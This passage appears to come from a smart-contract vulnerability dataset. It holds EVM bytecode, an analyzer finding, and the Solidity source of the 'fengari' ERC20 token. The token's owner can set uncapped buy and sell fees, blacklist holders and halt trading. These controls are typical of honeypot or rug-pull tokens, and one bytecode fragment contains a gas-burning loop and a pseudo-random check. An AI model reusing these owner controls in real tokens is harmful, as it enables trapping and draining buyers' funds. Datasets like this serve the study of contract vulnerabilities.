68152602001908152602001600020819055506117d681600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182e84600c5461315d90919063ffffffff16565b600c8190555061184982600c54612d0890919063ffffffff16565b600c819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f51fe033079740659aa8a8f38892e4b2a8c35e265960b7ce65907755c4c803312876040518082815260200191505060405180910390a38573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38573ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a350505050611e91565b611ac781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461315d90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611b15826109e7565b90506000611b2283610cd8565b90506000611b4b82611b3d858761315d90919063ffffffff16565b61315d90919063ffffffff16565b9050611bc18260056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b60056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7881600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cd083600c5461315d90919063ffffffff16565b600c819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f52da730e70dce39b6753cb1db89f00290161dbc4f7fd64618ec662426ea3c998866040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505b5b60005a90505b6127105a82031015611ed8576004546040516020018082815260200191505060405160208183030381529060405280519060200120600481905550611e98565b50612b38565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611f2a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fb0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133e86023913960400191505060405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156121ff5761205881600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461315d90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ed81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f2fb983926eb752d15d651ba5b013e68a418a80c16c889d45bdb99d1b4f045b4d836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3612b37565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612264575060016122626131a7565b145b1561271a576122bb81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461315d90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000612309826109e7565b9050600061231683610cd8565b905060008390506123278682613214565b600061234e83612340868861315d90919063ffffffff16565b61315d90919063ffffffff16565b90506123c48360056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b60056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247b81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d384600c5461315d90919063ffffffff16565b600c819055506124ee82600c54612d0890919063ffffffff16565b600c819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f51fe033079740659aa8a8f38892e4b2a8c35e265960b7ce65907755c4c803312876040518082815260200191505060405180910390a38573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38573ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a350505050612b36565b61276c81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461315d90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006127ba826109e7565b905060006127c783610cd8565b905060006127f0826127e2858761315d90919063ffffffff16565b61315d90919063ffffffff16565b90506128668260056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b60056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291d81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061297583600c5461315d90919063ffffffff16565b600c819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f52da730e70dce39b6753cb1db89f00290161dbc4f7fd64618ec662426ea3c998866040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505b5b5b505050565b6000838311158290612bea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612baf578082015181840152602081019050612b94565b50505050905090810190601f168015612bdc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080612c0a8484612d08565b90506000612c1982600161315d565b9050612c2e612c288286612cbe565b85612c38565b9250505092915050565b600080831415612c4b5760009050612cb8565b6000828402905082848281612c5c57fe5b0414612cb3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806134756021913960400191505060405180910390fd5b809150505b92915050565b6000612d0083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613321565b905092915050565b600080828401905083811015612d86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806134e26021913960400191505060405180910390fd5b612e828160405180606001604052806022815260200161340b60229139600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3d9092919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612eda81600c5461315d90919063ffffffff16565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b612f548282612d90565b61301582612f60611027565b613010846040518060600160405280602481526020016134be60249139600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000612fc6611027565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3d9092919063ffffffff16565b61102f565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561309f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061342d6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061319f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b3d565b905092915050565b60008043600e545a60405160200180848152602001838152602001828152602001935050505060405160208183030381529060405280519060200120905080600e81905550600060148260001c816131fb57fe5b061461320857600061320b565b60015b60ff1691505090565b600081141561322257600080fd5b61327481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080831182906133cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613392578082015181840152602081019050613377565b50505050905090810190601f1680156133bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816133d957fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820fbfb09b9d9be2b090150f4222cf04e0f7671a7b534ddb9f3ee548046205cc7ef64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,019 |
0xcba245709ee104044930ed71cc63d4dca0b93963
|
/*
φεγγάρι
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract fengari is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "fengari";//////////////////////////
string private constant _symbol = "fengari";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 4;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 6;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x14E0ddC63666b060343fE92C7916c7c978d35414);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x14E0ddC63666b060343fE92C7916c7c978d35414);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9; //2%
uint256 public _maxWalletSize = 250000 * 10**9; //2.5%
uint256 public _swapTokensAtAmount = 10000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set Max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104e9578063dd62ed3e14610509578063ea1644d51461054f578063f2fde38b1461056f57600080fd5b8063a2a957bb14610464578063a9059cbb14610484578063bfd79284146104a4578063c3c8cd80146104d457600080fd5b80638f70ccf7116100d15780638f70ccf71461040e5780638f9a55c01461042e57806395d89b41146101f357806398a5c3151461044457600080fd5b806374010ece146103ba5780637d1db4a5146103da5780638da5cb5b146103f057600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103505780636fc3eaec1461037057806370a0823114610385578063715018a6146103a557600080fd5b8063313ce567146102f457806349bd5a5e146103105780636b9990531461033057600080fd5b80631694505e116101a05780631694505e1461026257806318160ddd1461029a57806323b872dd146102be5780632fd689e3146102de57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023257600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab3565b61058f565b005b3480156101ff57600080fd5b50604080518082018252600781526666656e6761726960c81b602082015290516102299190611bdd565b60405180910390f35b34801561023e57600080fd5b5061025261024d366004611a09565b61063c565b6040519015158152602001610229565b34801561026e57600080fd5b50601454610282906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b3480156102a657600080fd5b50662386f26fc100005b604051908152602001610229565b3480156102ca57600080fd5b506102526102d93660046119c9565b610653565b3480156102ea57600080fd5b506102b060185481565b34801561030057600080fd5b5060405160098152602001610229565b34801561031c57600080fd5b50601554610282906001600160a01b031681565b34801561033c57600080fd5b506101f161034b366004611959565b6106bc565b34801561035c57600080fd5b506101f161036b366004611b7a565b610707565b34801561037c57600080fd5b506101f161074f565b34801561039157600080fd5b506102b06103a0366004611959565b61079a565b3480156103b157600080fd5b506101f16107bc565b3480156103c657600080fd5b506101f16103d5366004611b94565b610830565b3480156103e657600080fd5b506102b060165481565b3480156103fc57600080fd5b506000546001600160a01b0316610282565b34801561041a57600080fd5b506101f1610429366004611b7a565b61085f565b34801561043a57600080fd5b506102b060175481565b34801561045057600080fd5b506101f161045f366004611b94565b6108a7565b34801561047057600080fd5b506101f161047f366004611bac565b6108d6565b34801561049057600080fd5b5061025261049f366004611a09565b610914565b3480156104b057600080fd5b506102526104bf366004611959565b60106020526000908152604090205460ff1681565b3480156104e057600080fd5b506101f1610921565b3480156104f557600080fd5b506101f1610504366004611a34565b610975565b34801561051557600080fd5b506102b0610524366004611991565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055b57600080fd5b506101f161056a366004611b9456